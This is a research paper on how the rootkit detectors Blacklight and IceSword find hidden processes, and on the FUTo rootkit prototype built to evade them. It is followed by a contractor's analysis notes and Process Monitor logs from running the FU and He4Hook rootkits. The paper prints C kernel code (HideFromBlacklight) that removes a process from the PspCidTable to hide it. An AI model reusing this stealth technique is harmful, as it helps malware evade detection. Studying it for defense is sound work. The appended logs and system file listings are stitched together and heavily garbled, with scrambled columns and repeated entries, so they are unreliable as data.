Peter Silberman & C.H.A.O.S.

1) Foreword

Abstract:

Since the introduction of FU, the rootkit world has moved away from implementing system hooks to hide their presence. Because of this change in offense, a new defense had to be developed. The new algorithms used by rootkit detectors, such as BlackLight, attempt to find what the rootkit is hiding instead of simply detecting the presence of the rootkit's hooks. This paper will discuss an algorithm that is used by both Blacklight and IceSword to detect hidden processes. This paper will also document current weaknesses in the rootkit detection field and introduce a more complete stealth technique implemented as a prototype in FUTo.

Thanks:

Peter would like to thank bugcheck, skape, thief, pedram, F-Secure for doing great research, and all the nologin/research'ers who encourage mind growth.

C.H.A.O.S. would like to thank Amy, Santa (this work was three hours on Christmas day), lonerancher, Pedram, valerino, and HBG Unit.

2) Introduction

In the past year or two, there have been several major developments in the rootkit world. Recent milestones include the introduction of the FU rootkit, which uses Direct Kernel Object Manipulation (DKOM); the introduction of VICE, one of the first rootkit detection programs; the birth of Sysinternals’ Rootkit Revealer and F-Secure’s Blacklight, the first mainstream Windows rootkit detection tools; and most recently the introduction of Shadow Walker, a rootkit that hooks the memory manager to hide in plain sight.

Enter Blacklight and IceSword. The authors chose to investigate the
algorithms used by both Blacklight and IceSword because they are considered by many in the field to be the best detection tools. Blacklight, developed by the Finnish security company F-Secure, is primarily concerned with detecting hidden processes. It does not attempt to detect system hooks; it is only concerned with hidden processes. IceSword uses a very similar method to Blacklight. IceSword differentiates itself from Blacklight in that it is a more robust tool allowing the user to see what system calls are hooked, what drivers are hidden, and what TCP/UDP ports are open that programs, such as netstat, do not.

3) Blacklight

This paper will focus primarily on Blacklight due to its algorithm being the research focus for this paper. Also, it became apparent after researching Blacklight that IceSword used a very similair algorithm. Therefore, if a weakness was found in Blacklight, it would most likely exist in IceSword as well.

Blacklight takes a userland approach to detecting processes. Although simplistic, its algorithm is amazingly effective. Blacklight uses some very strong anti-debugging features that begin by creating a Thread Local Storage (TLS) callback table. Blacklight's TLS callback attempts to befuddle debuggers by forking the main process before the process object is fully created. This can occur because the TLS callback routine is called before the process is completely initialized. Blacklight also has anti-debugging measures that detect the presence of debuggers attaching to it. Rather than attempting to beat the anti-debugging measures by circumventing the TLS callback and making other program modifications, the authors decided to just disable the TLS routine. To do this, the authors used a tool called LordPE. LordPE allows users to edit PE files. The authors used this tool to zero out the TLS callback table. This disabled the forking routine and gave the authors the ability to use an API Monitor. It should be noted that disabling the callback routine would allow you to attach a debugger, but when the user clicked "scan" in the Blacklight GUI Blacklight would detect the debugger and exit. Instead of working up a second measure to circumvent the anti-debugging routines, the authors decided to analyze the calls occurring within Blacklight. To this end, the authors used Rohitabs API Monitor.

In testing, one can see failed calls to the API OpenProcess (tls zero is Blacklight without a TLS table). Blacklight tries opening a process with process id (PID) of 0x1CC, 0x1D0, 0x1D4, 0x1D8 and so on. The authors

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
dubbed the method Blacklight uses as PID Bruteforce (PIDB). Blacklight loops through all possible PIDS calling OpenProcess on the PIDs in the range of 0x0 to 0x4E1C. Blacklight keeps a list of all processes it is able to open, using the PIDB method. Blacklight then calls CreateToolhelp32Snapshot, which gives Blacklight a second list of processes. Blacklight then compares the two lists, to see if there are any processes in the PIDB list that are not in the list returned by the CreateToolhelp32Snapshot function. If there is any discrepancy, these processes are considered hidden and reported to the user.

3.1) Windows OpenProcess

In Windows, the OpenProcess function is a wrapper to the NtOpenProcess routine. NtOpenProcess is implemented in the kernel by NTOSKRNL.EXE. The function prototype for NtOpenProcess is:

```c
NTSTATUS NtOpenProcess (  
    OUT PHANDLE ProcessHandle,  
    IN ACCESS_MASK DesiredAccess,  
    IN POBJECT_ATTRIBUTES ObjectAttributes,  
    IN PCLIENT_ID ClientId OPTIONAL);
```

The ClientId parameter is the actual PID that is passed by OpenProcess. This parameter is optional, but during our observation the OpenProcess function always specified a ClientId when calling NtOpenProcess.

NtOpenProcess performs three primary functions:

1. It verifies the process exists by calling PsLookupProcessByProcessId.
2. It attempts to open a handle to the process by calling ObOpenObjectByPointer.
3. If it was successful opening a handle to the process, it passes the handle back to the caller.

PsLookupProcessByProcessId was the next obvious place for research. One of the outstanding questions was how does PsLookupProcessByProcessId know that a given PID is part of a valid process? The answer becomes clear in the first few lines of the disassembly:

```asm
PsLookupProcessByProcessId:  
    mov edi, edi  
    push ebp  
    mov ebp, esp  
    push ebx
```

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
push esi
mov eax, large fs:124h
push [ebp+arg_4]
mov esi, eax
dec dword ptr [esi+0D4h]
push PspCidTable
call ExMapHandleToPointer

From the above disassembly, it is clear that ExMapHandleToPointer queries the PspCidTable for the process ID.

Now we have a complete picture of how Blacklight detects hidden processes:

1. Blacklight starts looping through the range of valid process IDs, 0 through 0x41DC.
2. Blacklight calls OpenProcess on every possible PID.
4. NtOpenProcess calls PsLookupProcessById to verify the process exists.
5. PsLookupProcessById uses the PspCidTable to verify the processes exists.
6. NtOpenProcess calls ObOpenObjectByPointer to get the handle to the process.
7. If OpenProcess was successful, Blacklight stores the information about the process and continues to loop.
8. Once the process list has been created by exhausting all possible PIDs, Blacklight compares the PIDB list with the list it creates by calling CreateToolhelp32Snapshot. CreateToolhelp32Snapshot is a Win32 API that takes a snapshot of all running processes on the system. A discrepancy between the two lists implies that there is a hidden process. This case is reported by Blacklight.

3.2) The PspCidTable

The PspCidTable is a "handle table for process and thread client IDs". Every process' PID corresponds to its location in the PspCidTable. The PspCidTable is a pointer to a HANDLE_TABLE structure.

typedef struct _HANDLE_TABLE {
    PVOID       p_hTable;
    PPEPROCESS  QuotaProcess;
    PVOID       UniqueProcessId;
    EX_PUSH_LOCK HandleTableLock [4];
    LIST_ENTRY  HandleTableList;
} HANDLE_TABLE;

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Windows offers a variety of non-exported functions to manipulate and retrieve information from the PspCidTable. These include:

- \[\text{ExCreateHandleTable}\] creates non-process handle tables. The objects within all handle tables except the PspCidTable are pointers to object headers and not the address of the objects themselves.
- \[\text{ExDupHandleTable}\] is called when spawning a process.
- \[\text{ExSweepHandleTable}\] is used for process rundown.
- \[\text{ExDestroyHandleTable}\] is called when a process is exiting.
- \[\text{ExCreateHandle}\] creates new handle table entries.
- \[\text{ExChangeHandle}\] is used to change the access mask on a handle.
- \[\text{ExDestroyHandle}\] implements the functionality of CloseHandle.
- \[\text{ExMapHandleToPointer}\] returns the address of the object corresponding to the handle.
- \[\text{ExReferenceHandleDebugIn}\] tracing handles.
- \[\text{ExSnapShotHandleTables}\] is used for handle searchers (for example in oh.exe).

Below is code that uses non-exported functions to remove a process object from the PspCidTable. It uses hardcoded addresses for the non-exported functions necessary; however, a rootkit could find these function addresses dynamically.

typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC)( IN PHANDLE_TABLE HandleTable, IN HANDLE ProcessId);

void HideFromBlacklight(DWORD eproc)
{
    PHANDLE_TABLE_ENTRY CidEntry;
    ExMapHandleToPointerFUNC map;
    ExUnlockHandleTableEntryFUNC umap;
    PEPROCESS p;
    CLIENT_ID ClientId;

    map = (ExMapHandleToPointerFUNC)0x80493285;
    The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
CidEntry = map((PHANDLE_TABLE)0x8188d7c8, LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) );
if(CidEntry != NULL)
{
    CidEntry->Object = 0;
}
return;

Since the job of the PspCidTable is to keep track of all the processes and threads, it is logical that a rootkit detector could use the PspCidTable to find hidden processes. However, relying on a single data structure is not a very robust algorithm. If a rootkit alters this one data structure, the operating system and other programs will have no idea that the hidden process exists. New rootkit detection algorithms should be devised that have overlapping dependencies so that a single change will not go undetected.

4) FUTo

To demonstrate the weaknesses in the algorithms currently used by rootkit detection software such as Blacklight and Icesword, the authors have created FUTo. FUTo is a new version of the FU rootkit. FUTo has the added ability to manipulate the PspCidTable without using any function calls. It uses DKOM techniques to hide particular objects within the PspCidTable.

There were some design considerations when implementing the new features in FUTo. The first was that, like the ExMapHandleXXX functions, the PspCidTable is not exported by the kernel. In order to overcome this, FUTo automatically detects the PspCidTable by finding the PsLookupProcessByProcessId function and disassembling it looking for the first function call. At the time of this writing, the first function call is always to ExMapHandleToPointer. ExMapHandleToPointer takes the PspCidTable as its first parameter. Using this knowledge, it is fairly straightforward to find the PspCidTable.

PsLookupProcessByProcessId:
    mov edi, edi
    push ebp
    mov ebp, esp
    push ebx
    push esi

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
mov eax, large fs:124h
push [ebp+arg_4]
mov esi, eax
dec dword ptr [esi+0D4h]
push PspCidTable
call ExMapHandleToPointer

A more robust method to find the PspCidTable could be written as this algorithm will fail if even simple compiler optimizations are made on the kernel. Opcode wrote a more robust method to detect non-exported variables like PspCidTable, PspActiveProcessHead, PspLoadedModuleList, etc. Opcode's method does not require memory scanning like the method currently used in FUTo. Instead Opcode found that the KdVersionBlock field in the Process Control Region structure pointed to a structure KDDEBUGGER_DATA32. The structure looks like this:

typedef struct _KDDEBUGGER_DATA32 {

DBGKD_DEBUG_DATA_HEADER32 Header;
ULONG    KernBase;
ULONG    BreakpointWithStatus;       // address of breakpoint
ULONG    SavedContext;
USHORT   ThCallbackStack;            // offset in thread data
USHORT   NextCallback;               // saved pointer to next callback frame
USHORT   FramePointer;               // saved frame pointer
USHORT   PaeEnabled:1;
ULONG    KiCallUserMode;             // kernel routine
ULONG    KeUserCallbackDispatcher;   // address in ntdll
ULONG    PsLoadedModuleList;
ULONG    PsActiveProcessHead;
ULONG    PspCidTable;
ULONG    ExpSystemResourcesList;
ULONG    ExpPagedPoolDescriptor;
ULONG    ExpNumberOfPagedPools;

[...]
ULONG    KdPrintCircularBuffer;
ULONG    KdPrintCircularBufferEnd;
ULONG    KdPrintWritePointer;
ULONG    KdPrintRolloverCount;
ULONG    MmLoadedUserImageList;

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
As the reader can see, the structure contains pointers to many of the commonly needed/used non-exported variables. This is one more robust method to finding the PspCidTable and other variables like it.

The second design consideration was a little more troubling. When FUTo removes an object from the PspCidTable, the HANDLE_ENTRY is replaced with NULLs representing the fact that the process "does not exist." The problem then occurs when the process that is hidden (and has no PspCidTable entries) is closed. When the system tries to close the process, it will index into the PspCidTable and dereference a null object causing a blue screen. The solution to this problem is simple but not elegant. First, FUTo sets up a process notify routine by calling PsSetCreateProcessNotifyRoutine. The callback function will be invoked whenever a process is created, but more importantly it will be called whenever a process is deleted. The callback executes before the hidden process is terminated; therefore, it gets called before the system crashes. When FUTo deletes the indexes that contain objects that point to the rogue process, FUTo will save the value of the HANDLE_ENTRYs and the index for later use. When the process is closed, FUTo will restore the objects before the process is closed allowing the system to dereference valid objects.

5) Conclusion

The catch phrase in 2005 was, ``We are raising the bar [again] for rootkit detection''. Hopefully the reader has walked away with a better understanding of how the top rootkit detection programs are detecting hidden processes and how they can be improved. Some readers may ask "What can I do?" Well, the simple solution is not to connect to the Internet, but a combination of using both Blacklight, IceSword and Rootkit Revealer will greatly help your chances of staying rootkit free. A new tool called RAIDE (Rootkit Analysis Identification Elimination) will be unveiled in the coming months at Blackhat Amsterdam. This new tool does not suffer from the problems brought forth here.

Bibliography

Blacklight Homepage. F-Secure Blacklight
http://www.f-secure.com/blacklight/

FU Project Page. FU
The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
http://www.rootkit.com/project.php?id=12

IceSword Homepage. IceSword
http://www.xfocus.net/tools/200505/1032.html

LordPE Homepage. LordPE Info
http://mitglied.lycos.de/yoda2k/LordPE/info.htm

Opc0de. 2005. How to get some hidden kernel variables without scanning

Rohitabs API Monitor. API Monitor - Spy on API calls
http://www.rohitab.com/apimonitor/


Silberman. RAIDE:Rootkit Analysis Identification Elimination
http://www.blackhat.com

The following are screen shots from process monitor and process explorer showing what transpired at execution. Process explorer I could not use since the process happened to fast and flypaper would lock up the system not allowing me to look at the strings and threads.
### Process Monitor FUtoEnhanced (Process Start – Exit)

<table>
<thead>
<tr>
<th>Time</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>27604</td>
<td>9,475</td>
<td>Process Start</td>
<td></td>
<td>SUCCESS</td>
<td>Pid: 1444</td>
</tr>
<tr>
<td>27605</td>
<td>9,475</td>
<td>Thread Create</td>
<td></td>
<td>SUCCESS</td>
<td>Thread ID: 1672</td>
</tr>
<tr>
<td>27609</td>
<td>9,475</td>
<td>Load Image</td>
<td>D:\Windows\System32\FUtoEnhanced.exe</td>
<td>SUCCESS</td>
<td>Image Base: 0x4000</td>
</tr>
<tr>
<td>27611</td>
<td>9,475</td>
<td>Load Image</td>
<td>C:\Windows\System32\kernel32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c99</td>
</tr>
<tr>
<td>27638</td>
<td>9,475</td>
<td>Load Image</td>
<td>C:\Windows\System32\kernel32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c88</td>
</tr>
<tr>
<td>27639</td>
<td>9,475</td>
<td>Load Image</td>
<td>C:\Windows\System32\kernel32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c41</td>
</tr>
<tr>
<td>27642</td>
<td>9,475</td>
<td>Load Image</td>
<td>C:\Windows\System32\kernel32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77f1</td>
</tr>
<tr>
<td>27645</td>
<td>9,475</td>
<td>Load Image</td>
<td>C:\Windows\System32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77d4</td>
</tr>
<tr>
<td>27648</td>
<td>9,475</td>
<td>Load Image</td>
<td>C:\Windows\System32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77e7</td>
</tr>
<tr>
<td>27651</td>
<td>9,475</td>
<td>Load Image</td>
<td>C:\Windows\System32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77f1</td>
</tr>
<tr>
<td>27649</td>
<td>9,475</td>
<td>Load Image</td>
<td>C:\Windows\System32\advapi32.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x77f1</td>
</tr>
<tr>
<td>27670</td>
<td>9,475</td>
<td>Thread Exit</td>
<td></td>
<td>SUCCESS</td>
<td>Exit Status: 75, UI...</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-217-
FUt0Enhanced Process Monitor (Threads)

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
FUtoEnhanced Process Monitor Events

Miscellaneous Information and Summary

When running this program compared to just the execution, FU is easy to launch and does not take a lot of computer knowledge to use. I did have some issues with the blue screen once or twice in trying to shut down FU however I did not follow the complete process described in the help me to see if this was easy to remedy. I didn’t because I was mainly trying to just get a feel for the rootkit and analysis the rootkits actions.
He4Hook Linderman

I began by launching the He4HookControl.exe and using Process Monitor to look at the time involved with the launch and the dll effected by the process. Below is an image of this:

He4HookController Process Monitor (Process Start – Exit)

The process launched in approximately starting the sequence at 11:02:20.4069459 and ending in 11:02:20.9709250. Not sure if this is important but it did make the second test difficult since it was hard to analyze the threads at this speed with Process Explorer. I had to implement Flypaper again which was difficult since it generally locked up the system. I could not get the threads to respond because of flypaper so I had to use process monitor to look at them. Below are the results of that:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
### Process Monitor (Threads) He4Hook

<table>
<thead>
<tr>
<th>Seq.</th>
<th>Time</th>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>6475</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Process Start</td>
<td></td>
<td>SUCCESS</td>
<td>Parent PID: 1536</td>
</tr>
<tr>
<td>6476</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Thread Create</td>
<td></td>
<td>SUCCESS</td>
<td>Thread ID: 608</td>
</tr>
<tr>
<td>6477</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x400</td>
</tr>
<tr>
<td>6478</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6479</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6480</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6481</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6482</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6483</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6484</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6485</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6486</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
<tr>
<td>6487</td>
<td>11:02</td>
<td>He4HookController</td>
<td>3888</td>
<td>Load Image</td>
<td>C:\Windows\System32\ntosrd.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c3</td>
</tr>
</tbody>
</table>

### Process Monitor Events H4HookController

The following is in text format and includes dll accessed and exe files initiated with this rootkit.

```
"0: .., 1: .., 2:
$hNmig$, 3:
$MSI31Uninstall\KB893803v2$, 4:
$NtServicePack
$UninstallIDNMitigationAPIs$, 6:
$NtUninstallKB
896423$, 20:
896428$, 21:
896461$, 22:
899587$, 23', 9: $NtUninstallKB
899591$, 24:
```

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Line</th>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>900485 $, 25:</td>
<td>$NtUninstallKB</td>
<td>925398_WMP64</td>
</tr>
<tr>
<td>900725 $, 26:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>901017 $, 27:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>901214 $, 28:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>902400 $, 29:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>904942 $, 30:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>905414 $, 31:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>905749 $, 32:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>908519 $, 33:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>908531 $, 34:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>910437 $, 35:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>911280 $, 36:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>911562 $, 37:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>911564 $, 38:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>913580 $, 40:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>914388 $, 41:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>914389 $, 42:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>914440 $, 43:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
<tr>
<td>915865 $, 44:</td>
<td>$NtUninstallKB</td>
<td>$NtUninstallKB</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
936357$, 83: 951376-v2$, FaxSetup.log, 130:
$NtUninstallKB 102:
936782_WMP9$, $NtUninstallKB 131: Fonts, 132: Gone
, 84: $NtUninstallKB 133: Fishing.bmp, 134: Help, 135:
$NtUninstallKB 103: hh.exe, 136:
937894$, 85: $NtUninstallKB 137: ie7, 138: ie7.log,
$NtUninstallKB 139: ie7updates, 140:
938127$, 86: $NtUninstallKB 141: iis6.log,
$NtUninstallKB 142: ime, 143:
938828$, 87: 0.log, 106: IDNMitigationA
$NtUninstallKB 107: addins, 108: PIs.log, 137: ie7,
938829$, 88: aksdrvsetup.log, 138: ie7.log,
$NtUninstallKB 109: AppPatch, 139: ie7updates,
941202$, 89: 140:
$NtUninstallKB 110: assembly, ie7_main.log,
941568$, 90: 141: iis6.log,
$NtUninstallKB 111: Blue Lace 142: ime, 143:
941569$, 91: 144: imsins.log,
clock.avi, 114: 145: inf, 146:
$NtUninstallKB 115: Coffee Installer, 147:
941644$, 92: cmsetacl.log, java, 148:
$NtUninstallKB 116: Bean.bmp, 149:
942615$, 93: comsetup.log, KB873339.log,
$NtUninstallKB 117: Config, 150:
942763$, 94: 149:
$NtUninstallKB 118: Connection KB885835.log,
942840$, 95: Wizard, 119: KB885836.log,
$NtUninstallKB 120: control.ini 151:
943460$, 96: Debug, 122: KB885836.log,
$NtUninstallKB 121: Cursors, 121: KB886185.log,
943460_0$, 97: Downloaded 152:
$NtUninstallKB 123: desktop.ini, KB887472.log,
943485$, 98: Program Files, 153:
$NtUninstallKB 124: Driver KB888302.log,
944653$, 99: Cache, 125: KB890046.log,
$NtUninstallKB 126: ehome, 127: KB890859.log,
950760$, 100: explorer.exe, 154:
$NtUninstallKB 128:
950762$, 101: explorer.scf, 155:
$NtUninstallKB 129:
950762$, 101: explorer.scf, 156:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
82: autodisc.dll,  114: browsewm.dll,  144: charmap.exe,
83: AUTOEXEC.NT,  115: bthci.dll,  145: chcp.com,
 84: autofmt.exe,  116: bthprops.cpl,  146: chkdsk.exe,
 85: autolfn.exe,  117: bthserv.dll,  147: chkntfs.exe,
 86: avicap.dll,  118: btpanui.dll,  148: ciadmin.dll,
 87: avicap32.dll,  119: cabinet.dll,  149: ciadv.msc,
 88: avifil32.dll,  120: cabview.dll,  150: cic.dll,  151: cidaemon.exe,
 89: avifile.dll,  121: cacls.exe,  152: ciodm.dll,
 90: avmapi.dll,  122: calc.exe,  153: cipher.exe,
 91: aver.dll,  123: camocx.dll,  154: cisvc.exe,
 92: avwvaw.dll,  124: capesnypn.dll,  155: ckcvn.exe,
 93: azroles.dll,  125: capicom.dll,  156: clb.dll,  157: clbcatex.dll,
 94: based.dll,  126: cards.dll,  158: clbcatq.dll,  159: cleanmgr.exe,
 95: batmeter.dll,  127: CatRoot,  160: cliconf.chm,
 96: batt.dll,  128: CatRoot2,  161: cliconfig.dll,  162: cliconfg.exe,
 97: bidispl.dll,  129: catsrv.dll,  163: cliconfig.rll,
 98: bios1.rom,  130: catsrvps.dll,  164: clipbrd.exe,
 99: bios4.rom,  131: catsrvut.dll,  165: clipsrv.exe,
 100: bits,  132: ccfgnt.dll,  166: clusapi.dll,  167: cmcfg32.dll,
 101: bitsprx2.dll,  133: cdfview.dll,  168: cmd.exe,  169: cmdial32.dll,
 102: bitsprx3.dll,  134: cdm.dll,  170: cmdi32.exe,  171: cmdlib.wsc,
 103: bitsprx4.dll,  135:  
 104: blackbox.dll,  
 105:  
 106: blastcln.exe,  136: cdoesys.dll,  172: cmmgr32.hlp,
 107: bootcfg.exe,  137: cdmplayer.exe.manifest,  173:  
 108: bootok.exe,  138: nifest,  174: cmon32.exe,  175:  
 109: bootvid.dll,  139: certcli.dll,  176:  
 110: bootvrfy.exe,  140: certmgr.dll,  177:  
 111: bopomofo.uce,  141: certmgr.msc,  178:  
 112: browser.dll,  142: cewmdm.dll,  179:  
 113: browseui.dll,  143: cfgbkend.dll,  180:  
 114: browseui.dll,  144: cfgmgr32.dll,  181:  

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
146: ideograf.uce, 178: imgutil.dll, 210: ipv6mon.dll, 218: ir32_32.dll,
147: idndl.dll, 179: imm32.dll, 219: ir41_32.ax, 220: ir41_qc.dll,
148: idq.dll, 149: inetcomm.dll, 180: inetcfg.dll, 181: inetipc.dll,
ie4uinit.exe, 150: inetcomm.dll, 182: inetcpl.cpl, 183: inetcpl.dll,
IE7Eula.rtf, 151: 184: ienet.dll,
ieakeng.dll, 152: inetmib1.dll, 185: inetpp.dll,
ieaksie.dll, 153: inetppui.dll, 186: inetres.dll, 187: ipmontr.dll,
ieakul.dll, 154: inettsv.dll, 188: input.dll, 189: ir50_32.dll,
ieapfltr.dat, 155: ipnet.dll, 190: ir50_qc.dll,
ieapfltr.dll, 156: igmpagnt.dll, 191: ir50_qcx.dll,
iedkc32.dll, 157: ilogmsg.dll, 192: irsdbg32.dll, 193: ipv6mon.dll,
158: iencode.dll, 159: irtrd.dll, 194: intmon.dll, 195: itsc.dll,
ieframe.dll, 160: iepeers.dll, 196: ittrdbg.dll, 197: jet500.dll,
ieframe.dll.mui, 161: 198: jgaw400.dll, 199: jgdw400.dll,
i4e3.dll, 162: ieudinit.exe, 199: jgdw400.dll, 200: jet500.dll,
i5e.dll, 163: ieapfltr.dat, 201: jet500.dll, 202: jet500.dll,
i66: ieuinit.inf, 164: ieapfltr.dll, 202: jet500.dll, 203: jet500.dll,
i7: ieapfltr.dll, 165: iapf.dll, 204: jet500.dll, 205: jet500.dll,
iexpress.exe, 166: iapf.dll, 205: jet500.dll, 206: jet500.dll,
i6mon.dll, 167: ipmon.dll, 206: jet500.dll, 207: jet500.dll,
i69: ifsutil.dll, 168: 207: jet500.dll, 208: jet500.dll,
i70: igmpagnt.dll, 169: 209: jet500.dll, 210: jet500.dll,
i71: iissuba.dll, 170: ipv6.dll, 211: jet500.dll, 212: ipv6.dll,
i72: ils.dll, 173: ipv6dll.dll, 213: ipv6dll.dll, 214: ipv6dll.dll,
imaadp32.acm, 174: ipv6dll.dll, 215: ipv6dll.dll, 216: ipv6dll.dll,
imclass.dll, 175: ipv6dll.dll, 217: ipv6dll.dll, 218: ipv6dll.dll,
imengine.dll, 176: ipv6dll.dll, 219: ipv6dll.dll, 220: ipv6dll.dll,
imthumbs.dll, 177: ipv6dll.dll, 221: ipv6dll.dll, 222: ipv6dll.dll,
imthumbs.dll, 178: ipv6dll.dll, 223: ipv6dll.dll, 224: ipv6dll.dll,
imthumbs.dll, 179: ipv6dll.dll, 225: ipv6dll.dll, 226: ipv6dll.dll,
imthumbs.dll, 180: ipv6dll.dll, 227: ipv6dll.dll, 228: ipv6dll.dll,
imthumbs.dll, 181: ipv6dll.dll, 229: ipv6dll.dll, 230: ipv6dll.dll,
jgmd400.dll,
239: jgpl400.dll,
240:

jgsd40.dll,
240:
N
""

"0: mmtask.tsk,
1: mmutilse.dll,
2: mmndd.dll, 3:
mmmsrvc.exe, 4:
mobsync.dll, 5:
mobsync.exe, 6:
mode.com, 7:
modemui.dll, 8:
modex.dll, 9:
more.com, 10:
moricons.dll, 11:
mountvol.exe, 1"
mqsceli.dll, 31:
mqgentr.dll, 32:
mqise.dll, 33:
mqlogmgr.dll,
34: mquota.dll, 35:
mquota.tlb, 36:
mquota10.tlb, 37:
mquota20.tlb, 38:
mqperf.dll, 39:
mqperf.ini, 40:
mqprfsym.h, 41:
mqqm.dll, 42:
mqrt.dll, 43:
mqrtdep.dll, 44:
mqsec.dll, 45:
mqsnaps.dll, 46:
mqsvc.exe, 47:
